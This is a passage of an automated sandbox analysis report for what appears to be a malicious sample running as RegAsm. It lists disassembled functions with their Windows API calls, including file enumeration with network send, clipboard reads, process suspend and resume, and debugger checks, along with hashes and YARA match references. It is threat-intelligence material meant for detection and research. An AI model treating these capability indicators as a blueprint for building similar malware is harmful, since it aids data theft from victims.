                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: Find$File$CloseException@8FirstH_prologNextThrow
                      • String ID:
                      • API String ID: 1771804793-0
                      • Opcode ID: 0f06b2c920d3f56931589272aebff858d631c73faf5deba1a71424e6e633b9f6
                      • Instruction ID: 1e810be39857a3d86828f92fa26e793a4655b35e172fafea17edde612d57cc14
                      • Opcode Fuzzy Hash: 0f06b2c920d3f56931589272aebff858d631c73faf5deba1a71424e6e633b9f6
                      • Instruction Fuzzy Hash: 16515F72900209AACF04FB61DD569ED7778AF11308F50417FB946B61E2EF389B48CB99
                      Function 0040783C Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 86fileCOMMON
                      Download Yara Rule
                      APIs
                      • FindFirstFileW.KERNEL32(00000000,?,?,?,00000000), ref: 00407857
                      • FindNextFileW.KERNEL32(00000000,?,?,?,00000000), ref: 0040791F
                        • Part of subcall function 00404AA1: send.WS2_32(FFFFFFFF,00000000,00000000,00000000), ref: 00404B36
                      Strings
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: FileFind$FirstNextsend
                      • String ID: XPG$XPG
                      • API String ID: 4113138495-1962359302
                      • Opcode ID: f5f6ad7c1e663cc93207a7cd22a0ce1f29ec8503eb9be1c9e7cd2c1c921ea284
                      • Instruction ID: 6b6d716c6ecdfe6ec78918620e47e684a121d368db73a1555a51ac38f2ecb6eb
                      • Opcode Fuzzy Hash: f5f6ad7c1e663cc93207a7cd22a0ce1f29ec8503eb9be1c9e7cd2c1c921ea284
                      • Instruction Fuzzy Hash: 212195325083419BC314FB61D855DEFB3ACAF90358F40493EF696621E1EF78AA09C65B
                      Function 00451CD8 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 236COMMONLIBRARYCODE
                      Download Yara Rule
                      APIs
                        • Part of subcall function 00448215: GetLastError.KERNEL32(00000020,?,0043A7F5,?,?,?,0043F9A8,?,?,00000020,00000000,?,?,?,0042DD01,0000003B), ref: 00448219
                        • Part of subcall function 00448215: _free.LIBCMT ref: 0044824C
                        • Part of subcall function 00448215: SetLastError.KERNEL32(00000000,0043F9A8,?,?,00000020,00000000,?,?,?,0042DD01,0000003B,?,00000041,00000000,00000000), ref: 0044828D
                        • Part of subcall function 00448215: _abort.LIBCMT ref: 00448293
                      • IsValidCodePage.KERNEL32(00000000,?,?,?,?,?,?,00444A73,?,?,?,?,004444CA,?,00000004), ref: 00451DBA
                      • GetLocaleInfoW.KERNEL32(00000000,?,?,00000078,sJD,00000000,?), ref: 00451EFB
                      Strings
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: ErrorLast$CodeInfoLocalePageValid_abort_free
                      • String ID: sJD
                      • API String ID: 1661935332-3536923933
                      • Opcode ID: 7ea90a810ccb8eded513053f15f94d45dc96679ac5d2c45bddb92c1ff4a69e8d
                      • Instruction ID: 601d6103ecad0283333aca7e4f79148897faf6e4cefa34abd84194fcdbd45a0d
                      • Opcode Fuzzy Hash: 7ea90a810ccb8eded513053f15f94d45dc96679ac5d2c45bddb92c1ff4a69e8d
                      • Instruction Fuzzy Hash: ED61FA35500606AAE724AB75CC86BBB73A8EF04316F14046FFD05D7292EB78ED48C769
                      Function 004520C3 Relevance: 4.7, APIs: 3, Instructions: 205COMMON
                      Download Yara Rule
                      APIs
                        • Part of subcall function 00448215: GetLastError.KERNEL32(00000020,?,0043A7F5,?,?,?,0043F9A8,?,?,00000020,00000000,?,?,?,0042DD01,0000003B), ref: 00448219
                        • Part of subcall function 00448215: _free.LIBCMT ref: 0044824C
                        • Part of subcall function 00448215: SetLastError.KERNEL32(00000000,0043F9A8,?,?,00000020,00000000,?,?,?,0042DD01,0000003B,?,00000041,00000000,00000000), ref: 0044828D
                        • Part of subcall function 00448215: _abort.LIBCMT ref: 00448293
                        • Part of subcall function 00448215: _free.LIBCMT ref: 00448274
                        • Part of subcall function 00448215: SetLastError.KERNEL32(00000000,0043F9A8,?,?,00000020,00000000,?,?,?,0042DD01,0000003B,?,00000041,00000000,00000000), ref: 00448281
                      • GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00452117
                      • GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00452168
                      • GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00452228
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: ErrorInfoLastLocale$_free$_abort
                      • String ID:
                      • API String ID: 2829624132-0
                      • Opcode ID: b894af2e73636fd6e8af7e748ba09ab431642972e93d3e8eb2aea65845f920f8
                      • Instruction ID: 4b80d7ab7a7ff47978e382ad652e238d088576b56b9f239e8998609391b98480
                      • Opcode Fuzzy Hash: b894af2e73636fd6e8af7e748ba09ab431642972e93d3e8eb2aea65845f920f8
                      • Instruction Fuzzy Hash: B961C1315006079BDB289F25CE82BBB77A8FF05306F1041ABED15C6642F7B89D89DB58
                      Function 0043BB22 Relevance: 4.6, APIs: 3, Instructions: 78COMMONLIBRARYCODE
                      Download Yara Rule
                      APIs
                      • IsDebuggerPresent.KERNEL32 ref: 0043BC1A
                      • SetUnhandledExceptionFilter.KERNEL32 ref: 0043BC24
                      • UnhandledExceptionFilter.KERNEL32(?), ref: 0043BC31
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: ExceptionFilterUnhandled$DebuggerPresent
                      • String ID:
                      • API String ID: 3906539128-0
                      • Opcode ID: a72bbe9f24da65e63e608425843f2cf14cbf2294963ef3e60e5c7cfd459546ed
                      • Instruction ID: cbfc558a7ca4bb69983b526de44ffd1abc81b2e56a4044740c9350c1ecaeaada
                      • Opcode Fuzzy Hash: a72bbe9f24da65e63e608425843f2cf14cbf2294963ef3e60e5c7cfd459546ed
                      • Instruction Fuzzy Hash: E131C27590121DABCB21DF65DD89BCDBBB8AF08311F5051EAE80CA6251EB349F858F48
                      Function 100060E2 Relevance: 4.6, APIs: 3, Instructions: 78COMMONLIBRARYCODE
                      Download Yara Rule
                      APIs
                      • IsDebuggerPresent.KERNEL32(?,?,?,?,?,00000000), ref: 100061DA
                      • SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 100061E4
                      • UnhandledExceptionFilter.KERNEL32(?), ref: 100061F1
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970671357.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                      • Associated: 0000000C.00000002.970667559.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970671357.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_10000000_RegAsm.jbxd
                      Similarity
                      • API ID: ExceptionFilterUnhandled$DebuggerPresent
                      • String ID:
                      • API String ID: 3906539128-0
                      • Opcode ID: 9058010cd15fc66324dfcb9f974f53c8d28613eb360f6b8a0023823f9da020d8
                      • Instruction ID: da4494ed88e82f72bec2981ffd8ad716d5acf317cb547f21db02b9c2842d332f
                      • Opcode Fuzzy Hash: 9058010cd15fc66324dfcb9f974f53c8d28613eb360f6b8a0023823f9da020d8
                      • Instruction Fuzzy Hash: 4A31D37490122C9BEB21DF24DD88B8DBBB8EF08350F5041DAE81CA7265E7709F818F55
                      Function 0040B70E Relevance: 4.5, APIs: 3, Instructions: 19clipboardCOMMON
                      Download Yara Rule
                      APIs
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: Clipboard$CloseDataOpen
                      • String ID:
                      • API String ID: 2058664381-0
                      • Opcode ID: d38c0863fa6e1407ff7c70a07519499014c38180332fc89bd075bae9f751f2b8
                      • Instruction ID: a9752f6e69e3a39ef1c6dae57fb9473311d117e3f10fa11c4aa70225693e5904
                      • Opcode Fuzzy Hash: d38c0863fa6e1407ff7c70a07519499014c38180332fc89bd075bae9f751f2b8
                      • Instruction Fuzzy Hash: 4FE0EC31645320EFC2209B609C49B9A6754DF95F52F41843AB905AB2D5DB78CC40C6AD
                      Function 0041BB09 Relevance: 4.5, APIs: 3, Instructions: 19nativeCOMMON
                      Download Yara Rule
                      APIs
                      • OpenProcess.KERNEL32(00000800,00000000,00000000,?,?,00415FFF,00000000), ref: 0041BB14
                      • NtSuspendProcess.NTDLL(00000000), ref: 0041BB21
                      • CloseHandle.KERNEL32(00000000), ref: 0041BB2A
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: Process$CloseHandleOpenSuspend
                      • String ID:
                      • API String ID: 1999457699-0
                      • Opcode ID: 65307f06ae4da2db5a73601f3478dcd91fa25f5db04ba40a4c100ff3b6d3014e
                      • Instruction ID: bc08a5c74f7a636e8823ed9fed2a710289fdff4cb0149baf3e3f1c1580a6a9c0
                      • Opcode Fuzzy Hash: 65307f06ae4da2db5a73601f3478dcd91fa25f5db04ba40a4c100ff3b6d3014e
                      • Instruction Fuzzy Hash: 96D05E36204231E3C32017AA7C0CE97AD68EFC5AA2705412AF804C26649B20CC01C6E8
                      Function 0041BB35 Relevance: 4.5, APIs: 3, Instructions: 19nativeCOMMON
                      Download Yara Rule
                      APIs
                      • OpenProcess.KERNEL32(00000800,00000000,00000000,?,?,00416024,00000000), ref: 0041BB40
                      • NtResumeProcess.NTDLL(00000000), ref: 0041BB4D
                      • CloseHandle.KERNEL32(00000000), ref: 0041BB56
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: Process$CloseHandleOpenResume
                      • String ID:
                      • API String ID: 3614150671-0
                      • Opcode ID: 2a3aa994b22e7efaa36e689b3453aa0ec17d897c0eb19943e791a895e5fd105b
                      • Instruction ID: 907c56f48a3137ad3e5a70bb4b43f8813844e3fa30c0a1486a2e097c633c30d6
                      • Opcode Fuzzy Hash: 2a3aa994b22e7efaa36e689b3453aa0ec17d897c0eb19943e791a895e5fd105b
                      • Instruction Fuzzy Hash: B8D05E36104121E3C220176A7C0CD97AE69EBC5AA2705412AF904C32619B20CC01C6F4
                      Function 00434C52 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 134COMMON
                      Download Yara Rule
                      APIs
                      • IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 00434C6B
                      Strings
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: FeaturePresentProcessor
                      • String ID: MZ@
                      • API String ID: 2325560087-2978689999
                      • Opcode ID: e737252210e65bd7558355cab1b99ff1055998ec76fc21d90816c5055d8ae967
                      • Instruction ID: b6e659610939bc40af268f25ffb2b9965a4fe426cdd66f7fc4435c5297b2c53a
                      • Opcode Fuzzy Hash: e737252210e65bd7558355cab1b99ff1055998ec76fc21d90816c5055d8ae967
                      • Instruction Fuzzy Hash: EE515471D002089BEB24CF69D9856DEBBF4FB48354F24956BD819EB350D378AA80CF94
                      Function 0044E879 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 114COMMON
                      Download Yara Rule
                      Strings
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID:
                      • String ID: .
                      • API String ID: 0-248832578
                      • Opcode ID: 6d782d14881953f3dc1aa7198760a6549ba6db1eba9a251ec7cea06479966fa1
                      • Instruction ID: 28de479bcd0ee174bbf7ea2f8c467f6584cf945aa63ddb2e5cfeaaf716254919
                      • Opcode Fuzzy Hash: 6d782d14881953f3dc1aa7198760a6549ba6db1eba9a251ec7cea06479966fa1
                      • Instruction Fuzzy Hash: 233106B2900149AFEB249E7ACC85EEB7BBDEF45304F1001AEE819D7291E6349D458B54
                      Function 10006580 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 114COMMON
                      Download Yara Rule
                      Strings
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970671357.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                      • Associated: 0000000C.00000002.970667559.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970671357.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_10000000_RegAsm.jbxd
                      Similarity
                      • API ID:
                      • String ID: .
                      • API String ID: 0-248832578
                      • Opcode ID: d62ff9c274239ee522e16b5fb8162bf78a9045f13a61a74130903e5937500e37
                      • Instruction ID: 9046c4836333a0efab45ea1e09b7d9ff5bbd95f87beecc7c41f4b92e1cb642f0
                      • Opcode Fuzzy Hash: d62ff9c274239ee522e16b5fb8162bf78a9045f13a61a74130903e5937500e37
                      • Instruction Fuzzy Hash: 45313771800159AFEB14CF74CC84EEA7BBEDB49384F200198F81997259E6319E448B60
                      Function 00451F9B Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 63COMMONLIBRARYCODE
                      Download Yara Rule
                      APIs
                        • Part of subcall function 00448215: GetLastError.KERNEL32(00000020,?,0043A7F5,?,?,?,0043F9A8,?,?,00000020,00000000,?,?,?,0042DD01,0000003B), ref: 00448219
                        • Part of subcall function 00448215: _free.LIBCMT ref: 0044824C
                        • Part of subcall function 00448215: SetLastError.KERNEL32(00000000,0043F9A8,?,?,00000020,00000000,?,?,?,0042DD01,0000003B,?,00000041,00000000,00000000), ref: 0044828D
                        • Part of subcall function 00448215: _abort.LIBCMT ref: 00448293
                      • EnumSystemLocalesW.KERNEL32(004520C3,00000001,00000000,?,lJD,?,004526F0,00000000,?,?,?), ref: 0045200D
                      Strings
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: ErrorLast$EnumLocalesSystem_abort_free
                      • String ID: lJD
                      • API String ID: 1084509184-3316369744
                      • Opcode ID: 8fcc83528109b8aaf498f975bbbcb34ae0404b7acadb8afce226787919ce0173
                      • Instruction ID: 7d3ee128790e63e9d167a680a676634a6e0759605f9449bc3b94779c572ada63
                      • Opcode Fuzzy Hash: 8fcc83528109b8aaf498f975bbbcb34ae0404b7acadb8afce226787919ce0173
                      • Instruction Fuzzy Hash: E51125372007019FDB189F39C8916BABB91FF8075AB14482EEE4687B41D7B9A946CB44
                      Function 00452036 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 42COMMONLIBRARYCODE
                      Download Yara Rule
                      APIs
                        • Part of subcall function 00448215: GetLastError.KERNEL32(00000020,?,0043A7F5,?,?,?,0043F9A8,?,?,00000020,00000000,?,?,?,0042DD01,0000003B), ref: 00448219
                        • Part of subcall function 00448215: _free.LIBCMT ref: 0044824C
                        • Part of subcall function 00448215: SetLastError.KERNEL32(00000000,0043F9A8,?,?,00000020,00000000,?,?,?,0042DD01,0000003B,?,00000041,00000000,00000000), ref: 0044828D
                        • Part of subcall function 00448215: _abort.LIBCMT ref: 00448293
                      • EnumSystemLocalesW.KERNEL32(00452313,00000001,?,?,lJD,?,004526B4,lJD,?,?,?,?,?,00444A6C,?,?), ref: 00452082
                      Strings
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: ErrorLast$EnumLocalesSystem_abort_free
                      • String ID: lJD
                      • API String ID: 1084509184-3316369744
                      • Opcode ID: acb24ebe04e4856a9c83d3494bcbe1da60fd92419c71b9527b23937778bf3cf5
                      • Instruction ID: 5d4b7cb44ca553c54ae5d492338df10e7871f8ce083c0ea6e3a4370b1d871309
                      • Opcode Fuzzy Hash: acb24ebe04e4856a9c83d3494bcbe1da60fd92419c71b9527b23937778bf3cf5
                      • Instruction Fuzzy Hash: 44F0FF322003055FDB245F798881A7A7B95FB82769B14446EFE428B681D7F9AC02C604
                      Function 004488ED Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 37COMMONLIBRARYCODE
                      Download Yara Rule
                      APIs
                      • GetLocaleInfoW.KERNEL32(00000000,00000002,00000000,?,20001004,?,20001004,?,00000002,?,?,004444CA,?,00000004), ref: 00448940
                      Strings
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: InfoLocale
                      • String ID: GetLocaleInfoEx
                      • API String ID: 2299586839-2904428671
                      • Opcode ID: eeff4f7349616e56738bbc7b8787175557d4d7270555fb13a45f0baf29077f94
                      • Instruction ID: 280d24bb3358c3803ceca68c405fa8cd3b52f77a8ef21af096b961815111c089
                      • Opcode Fuzzy Hash: eeff4f7349616e56738bbc7b8787175557d4d7270555fb13a45f0baf29077f94
                      • Instruction Fuzzy Hash: D1F02B31A40308F7DB119F61DC02F7E7B15DF08751F10056EFC0926261CE399D159A9E
                      Function 00452313 Relevance: 1.6, APIs: 1, Instructions: 83COMMON
                      Download Yara Rule
                      APIs
                        • Part of subcall function 00448215: GetLastError.KERNEL32(00000020,?,0043A7F5,?,?,?,0043F9A8,?,?,00000020,00000000,?,?,?,0042DD01,0000003B), ref: 00448219
                        • Part of subcall function 00448215: _free.LIBCMT ref: 0044824C
                        • Part of subcall function 00448215: SetLastError.KERNEL32(00000000,0043F9A8,?,?,00000020,00000000,?,?,?,0042DD01,0000003B,?,00000041,00000000,00000000), ref: 0044828D
                        • Part of subcall function 00448215: _abort.LIBCMT ref: 00448293
                        • Part of subcall function 00448215: _free.LIBCMT ref: 00448274
                        • Part of subcall function 00448215: SetLastError.KERNEL32(00000000,0043F9A8,?,?,00000020,00000000,?,?,?,0042DD01,0000003B,?,00000041,00000000,00000000), ref: 00448281
                      • GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00452367
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: ErrorLast$_free$InfoLocale_abort
                      • String ID:
                      • API String ID: 1663032902-0
                      • Opcode ID: 5e55e5787c0a8882e24d5b04e2b41f1e3a8b10b9440aec12057efb59017b927c
                      • Instruction ID: a0857f467e030380fa261c038abb83aeded24e37e53cd803257bf99bba5c3bcd
                      • Opcode Fuzzy Hash: 5e55e5787c0a8882e24d5b04e2b41f1e3a8b10b9440aec12057efb59017b927c
                      • Instruction Fuzzy Hash: 0121B632550206ABDB249E35DD41BBA73A8EF05316F1001BFFD01D6242EBBC9D59CB58
                      Function 00452543 Relevance: 1.5, APIs: 1, Instructions: 46COMMON
                      Download Yara Rule
                      APIs
                        • Part of subcall function 00448215: GetLastError.KERNEL32(00000020,?,0043A7F5,?,?,?,0043F9A8,?,?,00000020,00000000,?,?,?,0042DD01,0000003B), ref: 00448219
                        • Part of subcall function 00448215: _free.LIBCMT ref: 0044824C
                        • Part of subcall function 00448215: SetLastError.KERNEL32(00000000,0043F9A8,?,?,00000020,00000000,?,?,?,0042DD01,0000003B,?,00000041,00000000,00000000), ref: 0044828D
                        • Part of subcall function 00448215: _abort.LIBCMT ref: 00448293
                      • GetLocaleInfoW.KERNEL32(?,20000001,?,00000002,?,00000000,?,?,004522E1,00000000,00000000,?), ref: 0045256F
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: ErrorLast$InfoLocale_abort_free
                      • String ID:
                      • API String ID: 2692324296-0
                      • Opcode ID: 1fdc73b6016995a7e39b97608f5a3b1d34212a550219c51fc6701dbba91f5541
                      • Instruction ID: deb82abe2421a0f23b1c286da40711a82d27d1439ce4f734d0a93897c1f260ce
                      • Opcode Fuzzy Hash: 1fdc73b6016995a7e39b97608f5a3b1d34212a550219c51fc6701dbba91f5541
                      • Instruction Fuzzy Hash: 3EF0993290011ABBDB245A20C916BBB3768EB01316F04046BEC05A3241FBB8FD05C698
                      Function 00448404 Relevance: 1.5, APIs: 1, Instructions: 34COMMONLIBRARYCODE
                      Download Yara Rule
                      APIs
                        • Part of subcall function 00445888: EnterCriticalSection.KERNEL32(-0006D41D,?,00442FDB,00000000,0046E928,0000000C,00442F96,?,?,?,00445B26,?,?,004482CA,00000001,00000364), ref: 00445897
                      • EnumSystemLocalesW.KERNEL32(004483BE,00000001,0046EAD0,0000000C), ref: 0044843C
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: CriticalEnterEnumLocalesSectionSystem
                      • String ID:
                      • API String ID: 1272433827-0
                      • Opcode ID: 804d43dbd68489efcf8f22bf06177096911cc4f1bd16e2c376f90d23019e8210
                      • Instruction ID: 9543b0ab25bad403ee5e8d2735ec903229a0e0f586434e65d0c90a277242bfd4
                      • Opcode Fuzzy Hash: 804d43dbd68489efcf8f22bf06177096911cc4f1bd16e2c376f90d23019e8210
                      • Instruction Fuzzy Hash: 6FF0AF72A50204EFE700EF69D946B8D37E0FB04725F10856AF414DB2A2CBB889808F09
                      Function 00451F50 Relevance: 1.5, APIs: 1, Instructions: 31COMMONLIBRARYCODE
                      Download Yara Rule
                      APIs
                        • Part of subcall function 00448215: GetLastError.KERNEL32(00000020,?,0043A7F5,?,?,?,0043F9A8,?,?,00000020,00000000,?,?,?,0042DD01,0000003B), ref: 00448219
                        • Part of subcall function 00448215: _free.LIBCMT ref: 0044824C
                        • Part of subcall function 00448215: SetLastError.KERNEL32(00000000,0043F9A8,?,?,00000020,00000000,?,?,?,0042DD01,0000003B,?,00000041,00000000,00000000), ref: 0044828D
                        • Part of subcall function 00448215: _abort.LIBCMT ref: 00448293
                      • EnumSystemLocalesW.KERNEL32(00451EA7,00000001,?,?,?,00452712,lJD,?,?,?,?,?,00444A6C,?,?,?), ref: 00451F87
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: ErrorLast$EnumLocalesSystem_abort_free
                      • String ID:
                      • API String ID: 1084509184-0
                      • Opcode ID: 4d0c5cba832e86d7a557150270e3ca6bc4d6d332941df2bd00d727cb77582ebf
                      • Instruction ID: 7090a925995da140c065d9916092b781359a33e81ca1c933e4536b6f4f09cf03
                      • Opcode Fuzzy Hash: 4d0c5cba832e86d7a557150270e3ca6bc4d6d332941df2bd00d727cb77582ebf
                      • Instruction Fuzzy Hash: A7F0203674020597CB04AF75C809B6A7F90EBC272AB06009AEE058B662C7799842C754
                      Function 0040F8D1 Relevance: 1.5, APIs: 1, Instructions: 20COMMON
                      Download Yara Rule
                      APIs
                      • GetLocaleInfoA.KERNEL32(00000800,0000005A,00000000,00000003,?,?,?,004154FC,00474EE0,00475A00,00474EE0,00000000,00474EE0,00000000,00474EE0,5.1.0 Pro), ref: 0040F8E5
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: InfoLocale
                      • String ID:
                      • API String ID: 2299586839-0
